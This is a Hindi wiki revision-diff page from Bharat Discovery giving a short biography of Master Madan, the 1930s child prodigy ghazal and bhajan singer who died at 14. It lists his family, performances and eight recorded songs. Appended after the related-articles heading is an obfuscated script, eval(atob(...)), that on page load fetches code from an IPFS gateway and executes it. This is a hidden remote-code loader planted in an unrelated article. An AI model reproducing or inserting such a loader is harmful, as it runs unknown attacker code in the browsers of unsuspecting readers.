मास्टर मदन: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
No edit summary
 
(15 intermediate revisions by 5 users not shown)
Line 1: Line 1:
{{tocright}}
{{सूचना बक्सा कलाकार
मास्टर मदन भारत की पूर्व आज़ादी के एक प्रतिभाशाली ग़ज़ल और गीत गायक थे। (जन्म: [[28 दिसंबर]] [[1927]], [[खानखाना गाँव]]-[[पंजाब]], मृत्यु: [[5 जून]] [[1942]]) मास्टर मदन के बारे में बहुत कम लोग जानते है। मास्टर मदन एक ऐसे कलाकार थे जो [[1930]] के दशक में एक किशोर के रूप में ख्याती प्राप्त करके मात्र 15 वर्ष की उम्र में [[1940]] की दशक में ही स्वर्गवासी हो गए। ऐसा माना जाता है कि मास्टर मदन को आकाशवाणी और अनेक रियासतों के दरबार में गाने के लिए बहुत ऊँची रकम दी जाती थी। मास्टर मदन उस समय के प्रसिद्ध गायक कुंदन लाल सहगल के बहुत क़रीब थे जिसका कारण दोनों का ही [[जालंधर]] का निवासी होना था।   
|चित्र=Master-madan.jpg
|पूरा नाम=मास्टर मदन
|अन्य नाम=संगीत सम्राट
|जन्म=[[28 दिसंबर]] [[1927]]
|जन्म भूमि=खानखाना गाँव, [[जालंधर]], [[पंजाब]]
|अभिभावक=सरदार अमर सिंह, पूरन देवी
|पति/पत्नी=
|संतान=
|कर्म भूमि=
|कर्म-क्षेत्र=गायन
|मृत्यु=[[5 जून]], [[1942]]
|मृत्यु स्थान=[[दिल्ली]]
|मुख्य रचनाएँ=यूँ न रह-रह कर हमें तरसाइये, हैरत से तक रहा है
|मुख्य फ़िल्में=
|विषय=शास्त्रीय संगीत
|शिक्षा=
|विद्यालय=
|पुरस्कार-उपाधि=
|प्रसिद्धि=
|विशेष योगदान=
|नागरिकता=भारतीय
|संबंधित लेख=
|शीर्षक 1=
|पाठ 1=
|शीर्षक 2=
|पाठ 2=
|अन्य जानकारी=
|बाहरी कड़ियाँ=
|अद्यतन=
}}
'''मास्टर मदन''' (जन्म: [[28 दिसंबर]] [[1927]], [[जालंधर]], [[पंजाब]] - मृत्यु: [[5 जून]] [[1942]], [[दिल्ली]]) [[भारत]] की आज़ादी से पहले के एक प्रतिभाशाली ग़ज़ल और गीत गायक थे। मास्टर मदन के बारे में बहुत कम लोग जानते है। मास्टर मदन एक ऐसे कलाकार थे जो [[1930]] के दशक में एक किशोर के रूप में ख्याति प्राप्त करके मात्र 15 वर्ष की उम्र में [[1940]] के दशक में ही स्वर्गवासी हो गए। ऐसा माना जाता है कि मास्टर मदन को आकाशवाणी और अनेक रियासतों के दरबार में गाने के लिए बहुत ऊँची रकम दी जाती थी। मास्टर मदन उस समय के प्रसिद्ध गायक [[कुंदन लाल सहगल]] के बहुत क़रीब थे जिसका कारण दोनों का ही जालंधर का निवासी होना था।   
==जन्म==  
==जन्म==  
मास्टर मदन का जन्म [[28 दिसंबर]], [[1927]] को पंजाब के [[जालंधर ज़िला|जालंधर ज़िले]] के खानखाना गाँव में हुआ था। उनके जीवन में केवल 8 गाने ही रिकॉर्ड हो पाये जो आज उपलब्ध है। जिनमें से सार्वजनिक रूप से केवल दो ही गानों की रिकॉर्डिंग सब जगह मिल पाती है।  
मास्टर मदन का जन्म [[28 दिसंबर]], [[1927]] को पंजाब के [[जालंधर ज़िला|जालंधर ज़िले]] के खानखाना गाँव में हुआ था। उनके जीवन में केवल 8 गाने ही रिकॉर्ड हो पाये जो आज उपलब्ध है। जिनमें से सार्वजनिक रूप से केवल दो ही गानों की रिकॉर्डिंग सब जगह मिल पाती है।  
*यूँ न रह-रह कर हमें तरसाइये  
#यूँ न रह-रह कर हमें तरसाइये  
*हैरत से तक रहा है
#हैरत से तक रहा है
अन्य छ: गाने बहुत ही कम मिल पाते है।  
अन्य छ: गाने बहुत ही कम मिल पाते है। जब वह एक युवा लड़का था तब मास्टर मदन ने राजाओं के दरबार में गायन शुरू कर दिया था। आठ साल की उम्र में उन्हें '''संगीत सम्राट''' कहा जाता था।
==परिवार==  
==परिवार==  
मास्टर मदन के पिता सरदार अमर सिंह शिक्षा विभाग की सेवा में थे। और उनकी माता पूरन देवी एक धार्मिक महिला थी। मास्टर मदन की माता भी अल्पायु में ही मर गयी थी।  
मास्टर मदन के पिता सरदार अमर सिंह शिक्षा विभाग की सेवा में थे। और उनकी माता पूरन देवी एक धार्मिक महिला थी। मास्टर मदन की माता भी अल्पायु में ही मर गयी थी।  
==शुरुआत==
==शुरुआत==
मास्टर मदन ने पहली बार सार्वजनिक रूप से [[धरमपुर]] के अस्तपताल द्वारा आयोजित रैली में गाया था। जब उनकी उम्र मात्र साढ़े तीन साल की थी। मास्टर मदन को सुनकर श्रोता दर्शक मंत्रमुग्ध हो गए। उन्हें उस समय कई गोल्ड मैडल मिले और उसके बाद भी मिलते रहे। उसके बाद मास्टर मदन और उनके बड़े भाई ने पूरे [[भारत]] का दौरा किया और कई रियासतों के शासकों से कई पुरस्कार जीते। मास्टर मदन ने [[जालंधर]] शहर के प्रसिद्ध हरवल्ल्भ मेले में गाया था और उसके बाद [[शिमला]] में भी गाया था। शिमला में कई और उल्लेखनीय गायक भी आये थे लेकिन हज़ारों लोग केवल मास्टर मदन को ही सुनने के लिए उत्सुक थे।<ref>{{cite web |url=http://indianraga.blogspot.com/2009/04/master-madan-child-prodigy.html |title=Master Madan : the child prodigy |accessmonthday=[[7 मई]] |accessyear=[[2011]] |last= |first= |authorlink= |format=html |publisher=Indian Raga |language=[[अंग्रेज़ी]]}}</ref>   
मास्टर मदन ने पहली बार सार्वजनिक रूप से धरमपुर के अस्पताल द्वारा आयोजित रैली में गाया था। जब उनकी उम्र मात्र साढ़े तीन साल की थी। मास्टर मदन को सुनकर श्रोता दर्शक मंत्रमुग्ध हो गए। उन्हें उस समय कई गोल्ड मैडल मिले और उसके बाद भी मिलते रहे। उसके बाद मास्टर मदन और उनके बड़े भाई ने पूरे [[भारत]] का दौरा किया और कई रियासतों के शासकों से कई पुरस्कार जीते। मास्टर मदन ने [[जालंधर]] शहर के प्रसिद्ध हरवल्ल्भ मेले में गाया था और उसके बाद [[शिमला]] में भी गाया था। शिमला में कई और उल्लेखनीय गायक भी आये थे लेकिन हज़ारों लोग केवल मास्टर मदन को ही सुनने के लिए उत्सुक थे।<ref>{{cite web |url=http://indianraga.blogspot.com/2009/04/master-madan-child-prodigy.html |title=Master Madan : the child prodigy |accessmonthday=[[7 मई]] |accessyear=[[2011]] |last= |first= |authorlink= |format=html |publisher=Indian Raga |language=[[अंग्रेज़ी]]}}</ref>   
==संगीत और हिंदी सिनेमा की अपूर्णनीय क्षति==  
==संगीत और हिन्दी सिनेमा की अपूर्णनीय क्षति==  
1930 के दशक से ही मास्टर मदन ने मात्र 3-4 वर्ष की अल्प आयु में ही शास्त्रीय रागों पर आधारित रचनाओं का गायन प्रारम्भ कर दिया था। यदि मास्टर मदन दीर्घायु प्राप्त करते तो हिंदी सिनेमा के पार्श्व गायन में उनका नाम सम्भवत: [[मुहम्मद रफी]] जैसे गायकों से पहले आता क्योंकि रफी की उम्र और इनकी उम्र में बमुश्किल 3-4 वर्ष का ही अंतर था।<ref>{{cite web |url=http://www.mohdrafi.com/meri-awaaz-suno/a-tribute-to-master-madan.html |title=A tribute to Master Madan |accessmonthday=[[7 मई]] |accessyear=[[2011]] |last= |first= |authorlink= |format=html |publisher=mohdrafi |language=[[अंग्रेज़ी]]}}</ref>
[[चित्र:Master-madan-2.jpg|thumb|200px|मास्टर मदन]]
[[1930]] के दशक से ही मास्टर मदन ने मात्र 3-4 वर्ष की अल्प आयु में ही शास्त्रीय रागों पर आधारित रचनाओं का गायन प्रारम्भ कर दिया था। यदि मास्टर मदन दीर्घायु प्राप्त करते तो [[हिन्दी सिनेमा]] के पार्श्व गायन में उनका नाम सम्भवत: [[मोहम्मद रफ़ी]] जैसे गायकों से पहले आता क्योंकि रफ़ी की उम्र और इनकी उम्र में बमुश्किल 3-4 वर्ष का ही अंतर था।<ref>{{cite web |url=http://www.mohdrafi.com/meri-awaaz-suno/a-tribute-to-master-madan.html |title=A tribute to Master Madan |accessmonthday=[[7 मई]] |accessyear=[[2011]] |last= |first= |authorlink= |format=html |publisher=mohdrafi |language=[[अंग्रेज़ी]]}}</ref>
==गीत==
==गीत==
*यूँ न रह-रह कर हमें तरसाइये- ग़ज़ल
*यूँ न रह-रह कर हमें तरसाइये- ग़ज़ल
*हैरत से तक रहा है- ग़ज़ल
*हैरत से तक रहा है- ग़ज़ल
Line 25: Line 55:
मात्र 14 साल की उम्र में [[5 जून]], [[1942]] को इस विलक्षण बुद्धि के बालक (Child Prodigy) का निधन हो गया था।  
मात्र 14 साल की उम्र में [[5 जून]], [[1942]] को इस विलक्षण बुद्धि के बालक (Child Prodigy) का निधन हो गया था।  


{{प्रचार}}
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2|माध्यमिक=|पूर्णता=|शोध=}}
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक=|पूर्णता=|शोध=}}
{{संदर्भ ग्रंथ}}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>
==बाहरी कड़ीयाँ==
==बाहरी कड़ियाँ==
*[http://khankhana.net/master_madan.aspx The King of Music]
*[http://www.hindustantimes.com/Master-Madan-s-Ghazal-ka-Safar/Article1-442561.aspx Master Madan's Ghazal ka Safar]
*[http://www.hindustantimes.com/Master-Madan-s-Ghazal-ka-Safar/Article1-442561.aspx Master Madan's Ghazal ka Safar]
*[http://indianhitler.wordpress.com/category/%E0%A4%AE%E0%A4%BE%E0%A4%B8%E0%A5%8D%E0%A4%9F%E0%A4%B0-%E0%A4%AE%E0%A4%A6%E0%A4%A8/ द फर्स्ट इंडियल आईडल: मास्टर मदन]
*[http://indianhitler.wordpress.com/category/%E0%A4%AE%E0%A4%BE%E0%A4%B8%E0%A5%8D%E0%A4%9F%E0%A4%B0-%E0%A4%AE%E0%A4%A6%E0%A4%A8/ द फर्स्ट इंडियल आईडल: मास्टर मदन]
Line 36: Line 65:
*[http://skinnysim.info/master_madan.html 'THE BOY GENIUS']
*[http://skinnysim.info/master_madan.html 'THE BOY GENIUS']
*[http://kisseykahen.blogspot.com/2010/07/blog-post.html ग़ज़ल का सफ़र- मास्टर मदन]  
*[http://kisseykahen.blogspot.com/2010/07/blog-post.html ग़ज़ल का सफ़र- मास्टर मदन]  
*[http://kisseykahen.blogspot.com/2007/12/child-prodigy.html
*[http://v-s-gopal.sulekha.com/blog/post/2009/05/rediscovery-of-master-madan-singing-genius-who-died.htm REDISCOVERY OF MASTER MADAN, SINGING GENIUS WHO DIED AT 14]
[[Category:नया पन्ना]]
*[http://www.apnaorg.com/research-papers/master-madan/ A child prodigy:  Master Madan]
==संबंधित लेख==
{{शास्त्रीय गायक कलाकार}}
[[Category:गायक]]
[[Category:शास्त्रीय गायक कलाकार]]
[[Category:चरित कोश]]
[[Category:कला कोश]]  
__INDEX__
__INDEX__
__NOTOC__

Latest revision as of 14:16, 28 May 2016

मास्टर मदन
पूरा नाम मास्टर मदन
अन्य नाम संगीत सम्राट
जन्म 28 दिसंबर 1927
जन्म भूमि खानखाना गाँव, जालंधर, पंजाब
मृत्यु 5 जून, 1942
मृत्यु स्थान दिल्ली
अभिभावक सरदार अमर सिंह, पूरन देवी
कर्म-क्षेत्र गायन
मुख्य रचनाएँ यूँ न रह-रह कर हमें तरसाइये, हैरत से तक रहा है
विषय शास्त्रीय संगीत
नागरिकता भारतीय

मास्टर मदन (जन्म: 28 दिसंबर 1927, जालंधर, पंजाब - मृत्यु: 5 जून 1942, दिल्ली) भारत की आज़ादी से पहले के एक प्रतिभाशाली ग़ज़ल और गीत गायक थे। मास्टर मदन के बारे में बहुत कम लोग जानते है। मास्टर मदन एक ऐसे कलाकार थे जो 1930 के दशक में एक किशोर के रूप में ख्याति प्राप्त करके मात्र 15 वर्ष की उम्र में 1940 के दशक में ही स्वर्गवासी हो गए। ऐसा माना जाता है कि मास्टर मदन को आकाशवाणी और अनेक रियासतों के दरबार में गाने के लिए बहुत ऊँची रकम दी जाती थी। मास्टर मदन उस समय के प्रसिद्ध गायक कुंदन लाल सहगल के बहुत क़रीब थे जिसका कारण दोनों का ही जालंधर का निवासी होना था।

जन्म

मास्टर मदन का जन्म 28 दिसंबर, 1927 को पंजाब के जालंधर ज़िले के खानखाना गाँव में हुआ था। उनके जीवन में केवल 8 गाने ही रिकॉर्ड हो पाये जो आज उपलब्ध है। जिनमें से सार्वजनिक रूप से केवल दो ही गानों की रिकॉर्डिंग सब जगह मिल पाती है।

  1. यूँ न रह-रह कर हमें तरसाइये
  2. हैरत से तक रहा है

अन्य छ: गाने बहुत ही कम मिल पाते है। जब वह एक युवा लड़का था तब मास्टर मदन ने राजाओं के दरबार में गायन शुरू कर दिया था। आठ साल की उम्र में उन्हें संगीत सम्राट कहा जाता था।

परिवार

मास्टर मदन के पिता सरदार अमर सिंह शिक्षा विभाग की सेवा में थे। और उनकी माता पूरन देवी एक धार्मिक महिला थी। मास्टर मदन की माता भी अल्पायु में ही मर गयी थी।

शुरुआत

मास्टर मदन ने पहली बार सार्वजनिक रूप से धरमपुर के अस्पताल द्वारा आयोजित रैली में गाया था। जब उनकी उम्र मात्र साढ़े तीन साल की थी। मास्टर मदन को सुनकर श्रोता दर्शक मंत्रमुग्ध हो गए। उन्हें उस समय कई गोल्ड मैडल मिले और उसके बाद भी मिलते रहे। उसके बाद मास्टर मदन और उनके बड़े भाई ने पूरे भारत का दौरा किया और कई रियासतों के शासकों से कई पुरस्कार जीते। मास्टर मदन ने जालंधर शहर के प्रसिद्ध हरवल्ल्भ मेले में गाया था और उसके बाद शिमला में भी गाया था। शिमला में कई और उल्लेखनीय गायक भी आये थे लेकिन हज़ारों लोग केवल मास्टर मदन को ही सुनने के लिए उत्सुक थे।[1]

संगीत और हिन्दी सिनेमा की अपूर्णनीय क्षति

thumb|200px|मास्टर मदन 1930 के दशक से ही मास्टर मदन ने मात्र 3-4 वर्ष की अल्प आयु में ही शास्त्रीय रागों पर आधारित रचनाओं का गायन प्रारम्भ कर दिया था। यदि मास्टर मदन दीर्घायु प्राप्त करते तो हिन्दी सिनेमा के पार्श्व गायन में उनका नाम सम्भवत: मोहम्मद रफ़ी जैसे गायकों से पहले आता क्योंकि रफ़ी की उम्र और इनकी उम्र में बमुश्किल 3-4 वर्ष का ही अंतर था।[2]

गीत

  • यूँ न रह-रह कर हमें तरसाइये- ग़ज़ल
  • हैरत से तक रहा है- ग़ज़ल
  • गोरी गोरी बईयाँ- भजन
  • मोरी बिनती मानो कान्हा रे- भजन
  • मन की मन- ग़ज़ल
  • चेतना है तो चेत ले- भजन
  • बांगा विच..- पंजाबी गीत
  • रावी दे परले कंडे वे मितरा- पंजाबी गीत

निधन

मात्र 14 साल की उम्र में 5 जून, 1942 को इस विलक्षण बुद्धि के बालक (Child Prodigy) का निधन हो गया था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. Master Madan : the child prodigy (अंग्रेज़ी) (html) Indian Raga। अभिगमन तिथि: 7 मई, 2011
  2. A tribute to Master Madan (अंग्रेज़ी) (html) mohdrafi। अभिगमन तिथि: 7 मई, 2011

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>